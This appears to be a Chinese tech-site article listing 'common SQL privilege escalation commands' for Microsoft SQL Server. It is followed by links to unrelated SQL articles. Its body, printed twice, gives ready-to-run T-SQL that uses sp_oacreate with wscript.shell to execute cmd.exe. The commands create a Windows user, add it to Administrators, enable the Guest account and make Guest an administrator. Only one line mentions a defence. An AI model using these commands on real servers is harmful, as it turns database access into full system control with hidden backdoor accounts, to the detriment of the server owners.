SQL 提權(quán) 常用命令
更新時(shí)間:2009年07月24日 00:29:34 作者:
SQL 提權(quán) 常用命令,大家可以考慮下將sqlserver的服務(wù)運(yùn)行權(quán)限設(shè)置為普通用戶,即可防止下面的提權(quán)。
1、連接數(shù)據(jù)庫
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考腳本之家服務(wù)器安全設(shè)置欄目。
相關(guān)文章
使用sqlserver存儲(chǔ)過程sp_send_dbmail發(fā)送郵件配置方法(圖文)
這篇文章用圖文的方式介紹了使用sqlserver存儲(chǔ)過程sp_send_dbmail發(fā)送郵件的方法,大家參考使用吧2014-01-01SQL Server修改標(biāo)識(shí)列方法 如自增列的批量化修改
最近在運(yùn)行系統(tǒng)時(shí)需要對(duì)所有服務(wù)器上數(shù)據(jù)結(jié)構(gòu)進(jìn)行批量修改某個(gè)字段的自增屬性改成非自增2012-05-05SQL?Server新特性SequenceNumber用法介紹
這篇文章介紹了SQL?Server新特性SequenceNumber的用法,對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-02-02MSSQL2005數(shù)據(jù)附加失敗報(bào)錯(cuò)3456解決辦法
今天在把數(shù)據(jù)庫備份出去,再到另一臺(tái)服務(wù)器上進(jìn)行數(shù)據(jù)還原時(shí)出現(xiàn),數(shù)據(jù)附加失敗錯(cuò)誤3456提示,下面來看我的解決過程2012-09-09mssql存儲(chǔ)過程表名和字段名為變量的實(shí)現(xiàn)方法
mssql存儲(chǔ)過程表名和字段名為變量的實(shí)現(xiàn)方法,需要的朋友可以參考下。2011-11-11SQL Server中判斷和處理NULL值的多種方法和解決方案
在SQL Server數(shù)據(jù)庫中,NULL是表示缺少數(shù)據(jù)或未知值的特殊標(biāo)記,處理NULL值是SQL開發(fā)人員經(jīng)常遇到的問題之一,本文將介紹SQL Server中判斷和處理NULL值的不同方法,以及一些解決方案,幫助您更好地處理數(shù)據(jù)庫中的NULL值情況,需要的朋友可以參考下2024-01-01